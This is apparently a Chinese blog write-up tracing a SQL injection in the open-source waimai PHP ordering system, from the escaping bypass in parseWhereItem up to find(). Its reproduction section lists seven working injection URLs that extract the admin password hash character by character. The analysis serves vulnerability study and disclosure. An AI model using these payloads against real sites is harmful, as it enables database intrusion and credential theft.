代码来源:https://github.com/caokang/waimai

0x01 前言

也是某天闲的无聊,看到CVE上有个老哥提了一个SQL的注入漏洞,就借此分析学习了一波。

0x02 分析过程

本地搭建了环境,最终产生SQL注入的代码位于inc/Lib/Core/Db.class.php

// where子单元分析
    protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
                if(preg_match('/^(EQ|NEQ|GT|EGT|LT|ELT)$/i',$val[0])) { // 比较运算
                    $whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
                }elseif(preg_match('/^(NOTLIKE|LIKE)$/i',$val[0])){// 模糊查找
                    if(is_array($val[1])) {
                        $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                        if(in_array($likeLogic,array('AND','OR','XOR'))){
                            $likeStr    =   $this->comparison[strtolower($val[0])];
                            $like       =   array();
                            foreach ($val[1] as $item){
                                $like[] = $key.' '.$likeStr.' '.$this->parseValue($item);
                            }
                            $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                        }
                    }else{
                        $whereStr .= $key.' '.$this->comparison[strtolower($val[0])].' '.$this->parseValue($val[1]);
                    }
                }elseif('exp'==strtolower($val[0])){ // 使用表达式
                    $whereStr .= ' ('.$key.' '.$val[1].') ';
                }elseif(preg_match('/IN/i',$val[0])){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.strtoupper($val[0]).' '.$val[1];
                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
                        $zone      =   implode(',',$this->parseValue($val[1]));
                        $whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
                    }
                }elseif(preg_match('/BETWEEN/i',$val[0])){ // BETWEEN运算
                    $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                    $whereStr .=  ' ('.$key.' '.strtoupper($val[0]).' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]).' )';
                }else{
                    throw_exception(L('_EXPRESS_ERROR_').':'.$val[0]);
                }
            }else {
                $count = count($val);
                $rule  = isset($val[$count-1])?strtoupper($val[$count-1]):'';
                if(in_array($rule,array('AND','OR','XOR'))) {
                    $count  = $count -1;
                }else{
                    $rule   = 'AND';
                }
                for($i=0;$i<$count;$i++) {
                    $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                    if('exp'==strtolower($val[$i][0])) {
                        $whereStr .= '('.$key.' '.$data.') '.$rule.' ';
                    }else{
                        $op = is_array($val[$i])?$this->comparison[strtolower($val[$i][0])]:'=';
                        $whereStr .= '('.$key.' '.$op.' '.$this->parseValue($data).') '.$rule.' ';
                    }
                }
                $whereStr = substr($whereStr,0,-4);
            }
        }else {
            //对字符串类型字段采用模糊匹配
            if(C('DB_LIKE_FIELDS') && preg_match('/('.C('DB_LIKE_FIELDS').')/i',$key)) {
                $val  =  '%'.$val.'%';
                $whereStr .= $key.' LIKE '.$this->parseValue($val);
            }else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;
    }

这是一个where查询的解析函数,可以看到这里根据val的类型和值进行了多个if判断,发现基本上每个条件判断里都有一个parseValue函数,我们跟进去看一下。

protected function parseValue($value) {
        if(is_string($value)) {
            $value =  '\''.$this->escapeString($value).'\'';
        }elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
            $value =  $this->escapeString($value[1]);
        }elseif(is_array($value)) {
            $value =  array_map(array($this, 'parseValue'),$value);
        }elseif(is_bool($value)){
            $value =  $value ? '1' : '0';
        }elseif(is_null($value)){
            $value =  'null';
        }
        return $value;
    }

基本上调用parseValue的查询都会被增加转义符,理论上无法直接存在注入。但是仔细看可以发现,里面有一个诡异的判断:


这两个条件并没有调用parseValue,而是直接拼接了val数组的值。
所以存在两种情况可以绕过这个parseValue:

  1. val[0] == 'exp', val[1] == payload;
  2. val[2] == 'exp', val[0] == payload 或val[1] == payload;
    很奇怪啊这个地方,非常不理解为啥排除了这两个地方的过滤。
    后面就是找到调用关系就行了,全局搜了下parseWhereItem的调用地方,全部出现在parseWhere函数中:
    protected function parseWhere($where) {
         $whereStr = '';
         if(is_string($where)) {
             // 直接使用字符串条件
             $whereStr = $where;
         }else{ // 使用数组表达式
             $operate  = isset($where['_logic'])?strtoupper($where['_logic']):'';
             if(in_array($operate,array('AND','OR','XOR'))){
                 // 定义逻辑运算规则 例如 OR XOR AND NOT
                 $operate    =   ' '.$operate.' ';
                 unset($where['_logic']);
             }else{
                 // 默认进行 AND 运算
                 $operate    =   ' AND ';
             }
             foreach ($where as $key=>$val){
                 $whereStr .= '( ';
                 if(is_numeric($key)){
                     $key  = '_complex';
                 }                    
                 if(0===strpos($key,'_')) {
                     // 解析特殊条件表达式
                     $whereStr   .= $this->parseThinkWhere($key,$val);
                 }else{
                     // 查询字段的安全过滤
                     if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
                         throw_exception(L('_EXPRESS_ERROR_').':'.$key);
                     }
                     // 多条件支持
                     $multi  = is_array($val) &&  isset($val['_multi']);
                     $key    = trim($key);
                     if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
                         $array =  explode('|',$key);
                         $str   =  array();
                         foreach ($array as $m=>$k){
                             $v =  $multi?$val[$m]:$val;
                             $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                         }
                         $whereStr .= implode(' OR ',$str);
                     }elseif(strpos($key,'&')){
                         $array =  explode('&',$key);
                         $str   =  array();
                         foreach ($array as $m=>$k){
                             $v =  $multi?$val[$m]:$val;
                             $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                         }
                         $whereStr .= implode(' AND ',$str);
                     }else{
                         $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
                     }
                 }
                 $whereStr .= ' )'.$operate;
             }
             $whereStr = substr($whereStr,0,-strlen($operate));
         }
         return empty($whereStr)?'':' WHERE '.$whereStr;
     }
    
    而parseWhere函数调用在update、delete和parseSql函数中。parseSql是一个替换SQL语句中关键字的函数:
    public function parseSql($sql,$options=array()){
         $sql   = str_replace(
             array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%COMMENT%'),
             array(
                 $this->parseTable($options['table']),
                 $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                 $this->parseField(!empty($options['field'])?$options['field']:'*'),
                 $this->parseJoin(!empty($options['join'])?$options['join']:''),
                 $this->parseWhere(!empty($options['where'])?$options['where']:''),
                 $this->parseGroup(!empty($options['group'])?$options['group']:''),
                 $this->parseHaving(!empty($options['having'])?$options['having']:''),
                 $this->parseOrder(!empty($options['order'])?$options['order']:''),
                 $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                 $this->parseUnion(!empty($options['union'])?$options['union']:''),
                 $this->parseComment(!empty($options['comment'])?$options['comment']:'')
             ),$sql);
         return $sql;
     }
    
    当查询语句是where类型的查询时,parseWhere会传入参数,生成where查询语句。再继续向上跟进调用parseSql函数的地方buildSelectSql:
    public function buildSelectSql($options=array()) {
         if(isset($options['page'])) {
             // 根据页数计算limit
             if(strpos($options['page'],',')) {
                 list($page,$listRows) =  explode(',',$options['page']);
             }else{
                 $page = $options['page'];
             }
             $page    =  $page?$page:1;
             $listRows=  isset($listRows)?$listRows:(is_numeric($options['limit'])?$options['limit']:20);
             $offset  =  $listRows*((int)$page-1);
             $options['limit'] =  $offset.','.$listRows;
         }
         if(C('DB_SQL_BUILD_CACHE')) { // SQL创建缓存
             $key    =  md5(serialize($options));
             $value  =  S($key);
             if(false !== $value) {
                 return $value;
             }
         }
         $sql  =   $this->parseSql($this->selectSql,$options);
         $sql .= $this->parseLock(isset($options['lock'])?$options['lock']:false);
         if(isset($key)) { // 写入SQL创建缓存
             S($key,$sql,array('expire'=>0,'length'=>C('DB_SQL_BUILD_LENGTH'),'queue'=>C('DB_SQL_BUILD_QUEUE')));
         }
         return $sql;
     }
    
    buildSelectSql函数向上跟进,在select函数中:
    public function select($options=array()) {
         $this->model  =   $options['model'];
         $sql    = $this->buildSelectSql($options);
         $cache  =  isset($options['cache'])?$options['cache']:false;
         if($cache) { // 查询缓存检测
             $key    =  is_string($cache['key'])?$cache['key']:md5($sql);
             $value  =  S($key,'',$cache);
             if(false !== $value) {
                 return $value;
             }
         }
         $result   = $this->query($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array()));
         if($cache && false !== $result ) { // 查询缓存写入
             S($key,$result,$cache);
         }
         return $result;
     }
    
    select最终调用在find函数中:
    public function find($options=array()) {
         if(is_numeric($options) || is_string($options)) {
             $where[$this->getPk()]  =   $options;
             $options                =   array();
             $options['where']       =   $where;
         }
         // 总是查找一条记录
         $options['limit']   =   1;
         // 分析表达式
         $options            =   $this->_parseOptions($options);
         $resultSet          =   $this->db->select($options);
         if(false === $resultSet) {
             return false;
         }
         if(empty($resultSet)) {// 查询结果为空
             return null;
         }
         $this->data         =   $resultSet[0];
         $this->_after_find($this->data,$options);
         if(!empty($this->options['result'])) {
             return $this->returnResult($this->data,$this->options['result']);
         }
         return $this->data;
     }
    
    因此只要在查询过程中调用find函数的,并且按照最初的分析构造传入一个数组,最终会绕过过滤函数执行SQL语句。
    全局搜下find()函数,还是挺多的:


整个SQL的调用栈应该是这样的:

0x03 复现

分析完调用过程开始构造poc,以product模块为例,需要传递一个id的数组,这里用val[0] == 'exp', val[1] == payload这种方式构造,得出的完整url应该是这样的:
http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+

这里需要注意,我们想构造的最后的查询语句应该是这样的:
SELECT * FROM sn_article WHERE ( (aid in ('XX'))/**/or substr((select userpass from sn_members where uid=1),1,1)='9') -- ) ) LIMIT 1

所以需要两个右括号,第一个闭合WHERE中的第一个条件(aid in ('XX')),第二个闭合WHERE。用户为admin,密码md5第一位是9。


下面开始测试


存在此处SQL问题的还有很多:
1、http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
2、http://localhost:8888/waimai-master/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27%20--%20&id[2]=exp
3、http://localhost:8888/waimai-master/index.php?m=article&a=s&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
4、http://localhost:8888/waimai-master/admin.php?&m=food&a=edit&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
5、http://localhost:8888/waimai-master/admin.php?&m=foodcat&a=edit&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
6、http://localhost:8888/waimai-master/admin.php?&m=order&a=detail&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+
7、http://localhost:8888/waimai-master/admin.php?&m=order&a=orderfour&id[0]=exp&id[1]=in%20(%27XX%27))/**/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,1)=%279%27)%20--+

0x04 总结

参考:https://github.com/caokang/waimai/issues/9
提前给师傅们拜年了~

源链接

Hacking more

...